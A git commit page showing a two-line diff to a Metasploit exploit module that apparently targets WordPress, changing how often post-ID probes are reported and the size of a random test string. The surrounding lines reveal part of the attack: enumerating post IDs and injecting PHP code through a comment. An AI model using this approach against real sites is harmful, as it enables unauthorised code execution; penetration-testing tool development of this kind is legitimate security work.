Fix @jlee-r7's feedback

unstable
jvazquez-r7 2013-04-25 14:53:09 -05:00
parent 52b721c334
commit 9b5e96b66f
1 changed files with 2 additions and 2 deletions

View File

@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote
def find_post_id def find_post_id
(1..1000).each{|id| (1..1000).each{|id|
vprint_status("#{peer} - Checking POST ID #{id}...") vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
res = check_post_id(normalize_uri(target_uri) + "/?p=#{id}") res = check_post_id(normalize_uri(target_uri) + "/?p=#{id}")
return id if res return id if res
} }
@ -195,7 +195,7 @@ class Metasploit3 < Msf::Exploit::Remote
end end
end end
random_test = rand_text_alpha(4096) random_test = rand_text_alpha(64)
@sum = Rex::Text.sha1(random_test) @sum = Rex::Text.sha1(random_test)
print_status("#{peer} - Injecting the PHP Code throw a comment...") print_status("#{peer} - Injecting the PHP Code throw a comment...")